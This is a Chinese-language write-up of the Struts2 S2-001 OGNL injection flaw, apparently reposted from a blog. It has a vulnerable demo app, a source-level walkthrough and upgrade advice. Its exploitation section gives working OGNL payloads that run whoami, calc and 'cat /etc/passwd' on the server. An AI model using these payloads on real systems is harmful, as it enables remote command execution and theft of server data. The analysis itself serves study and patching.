S2-001漏洞分析
1.漏洞描述
该漏洞因用户提交表单数据并且验证失败时,后端会将用户之前提交的参数值使用OGNL表达式%{value}进行解析,然后重新填充到对应的表单数据中。如注册或登录页面,提交失败后一般会默认返回之前提交的数据,由于后端使用%{value}对提交的数据执行了一次OGNL 表达式解析,所以可以直接构造 Payload进行命令执行。
2.影响版本
Struts 2.0.0 - Struts 2.0.8
3.漏洞详情
首先写一个漏洞利用环境,代码结构如下:
LoginAction.java源码:
package com.cy.demo.action;
import com.opensymphony.xwork2.ActionSupport;
public class LoginAction extends ActionSupport{
private static final long serialVersionUID = 1L;
private String username ;
private String password ;
public String getUsername(){
return this.username;
}
public String getPassword(){
return this.password;
}
public void setUsername(String username){
this.username = username;
}
public void setPassword(String password){
this.password = password;
}
public String execute() throws Exception{
if (this.username == null || this.username == "" ||this.password == null || this.password == "") {
return "error";
}
if ((this.username.equals("admin")) && (this.password.equals("123456"))) {
return "success";
}else {
return "error";
}
}
}
struts.xml源码:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE struts PUBLIC
"-//Apache Software Foundation//DTD Struts Configuration 2.0//EN"
"http://struts.apache.org/dtds/struts-2.0.dtd">
<struts>
<package name="S2-001" extends="struts-default">
<action name="login" class="com.cy.demo.action.LoginAction" method="execute">
<result name="success">/welcome.jsp</result>
<result name="error">/index.jsp</result>
</action>
</package>
</struts>
web.xml源码:
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://xmlns.jcp.org/xml/ns/javaee" xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_3_1.xsd" id="WebApp_ID" version="3.1">
<display-name>S2-001</display-name>
<filter>
<filter-name>struts2</filter-name>
<filter-class>org.apache.struts2.dispatcher.FilterDispatcher</filter-class>
</filter>
<filter-mapping>
<filter-name>struts2</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>
<welcome-file-list>
<welcome-file>index.jsp</welcome-file>
</welcome-file-list>
</web-app>
index.jsp源码:
<%@ page language="java" contentType="text/html; charset=UTF-8"
pageEncoding="UTF-8"%>
<%@ taglib prefix="s" uri="/struts-tags" %>
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>S2-001</title>
</head>
<body>
<h2>用户登录</h2>
<s:form action="login">
<s:textfield name="username" label="username" />
<s:textfield name="password" label="password" />
<s:submit></s:submit>
</s:form>
</body>
</html>
welcome.jsp源码:
<%@ page language="java" contentType="text/html; charset=UTF-8"
pageEncoding="UTF-8"%>
<%@ taglib prefix="s" uri="/struts-tags" %>
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>welcome</title>
</head>
<body>
<h2>welcome,<s:property value="username"></s:property></h2>
</body>
</html>
/org/apache/struts2/views/jsp/ComponentTagSupport.java
为了比较容易理解,我们这里从对<s:textfield name="password" label="password" />的解析开始说起,doStartTag()会对jsp标签进行解析,后面会跳转到doEndTag(),跟进component.end()最后到达UIBean.java。
跟入evaluateParams(),由于开启了altSyntax,expr会由之前的password变为为%{password}。接着跟入findValue()方法来到了Component.java。
由于开启了altSyntax,而且toType是class.java.lang.string,所以程序会进入TextParseUtil.translateVariables()。
接下来使用的源码位于xwork-2.0.3.jar,跟进上面的translateVariables()到/com/opensymphony/xwork2/util/TextParseUtil.java。
我们继续跟入translateVariables()方法,我们可以看到translateVariables()方法递归解析了表达式,在处理完%{password}后将password的值直接取出并继续在while循环中解析,如果用户输入恶意的ognl表达式,如%{1+2},最后会在Object o = stack.findValue(var, asType)得以解析执行。
public static Object translateVariables(char open, String expression, ValueStack stack, Class asType, ParsedValueEvaluator evaluator) {
Object result = expression;
while (true) {
int start = expression.indexOf(open + "{");
int length = expression.length();
int x = start + 2;
int end;
char c;
int count = 1;
while (start != -1 && x < length && count != 0) {
c = expression.charAt(x++);
if (c == '{') {
count++;
} else if (c == '}') {
count--;
}
}
end = x - 1;
if ((start != -1) && (end != -1) && (count == 0)) {
String var = expression.substring(start + 2, end);
Object o = stack.findValue(var, asType);
if (evaluator != null) {
o = evaluator.evaluate(o);
}
String left = expression.substring(0, start);
String right = expression.substring(end + 1);
if (o != null) {
if (TextUtils.stringSet(left)) {
result = left + o;
} else {
result = o;
}
if (TextUtils.stringSet(right)) {
result = result + right;
}
expression = left + o + right;
} else {
result = left + right;
expression = left + right;
}
} else {
break;
}
}
return XWorkConverter.getInstance().convertValue(stack.getContext(), result, asType);
}
4.漏洞利用
(1)输入%{1+2},返回3证明漏洞存在。
(2)获取tomcat执行路径
%{"tomcatBinDir{"+@java.lang.System@getProperty("user.dir")+"}"}
(3)获取web路径
%{ #req=@org.apache.struts2.ServletActionContext@getRequest(), #response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(), #response.println(#req.getRealPath('/')), #response.flush(), #response.close() }
(4)执行命令
执行whoami:
%{
#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"whoami"})).redirectErrorStream(true).start(),
#b=#a.getInputStream(),
#c=new java.io.InputStreamReader(#b),
#d=new java.io.BufferedReader(#c),
#e=new char[50000],
#d.read(#e),
#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),
#f.getWriter().println(new java.lang.String(#e)),
#f.getWriter().flush(),#f.getWriter().close()
}
弹计算器:
%{ #a=(new java.lang.ProcessBuilder(new java.lang.String[]{"calc"})).redirectErrorStream(true).start(), #b=#a.getInputStream(), #c=new java.io.InputStreamReader(#b), #d=new java.io.BufferedReader(#c), #e=new char[50000], #d.read(#e), #f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"), #f.getWriter().println(new java.lang.String(#e)), #f.getWriter().flush(),#f.getWriter().close() }
执行任意命令时,如果所执行的命令需要组合,则可如下:
%{
#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"cat","/etc/passwd"})).redirectErrorStream(true).start(),
#b=#a.getInputStream(),
#c=new java.io.InputStreamReader(#b),
#d=new java.io.BufferedReader(#c),
#e=new char[50000],
#d.read(#e),
#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),
#f.getWriter().println(new java.lang.String(#e)),
#f.getWriter().flush(),#f.getWriter().close()
}
值得一提的是,表单验证错误只是这个漏洞出现的场景之一,并不是该漏洞的产生的原因。在实际场景中,比如登陆等位置,往往会配置了Validation(限制用户名长度等),验证出错时,就会原样返回用户输入的值而不会跳转到新的页面,这样就有可能发生此漏洞。
5.漏洞修复
升级xwork-2.0.3.jar到2.0.4以上,在xwork-2.0.4中由于改变了ognl表达式的解析方法,从而不会产生递归解析,这样用户的输入也不会被解析执行。
来源:https://blog.csdn.net/SouthWind0/article/details/98971461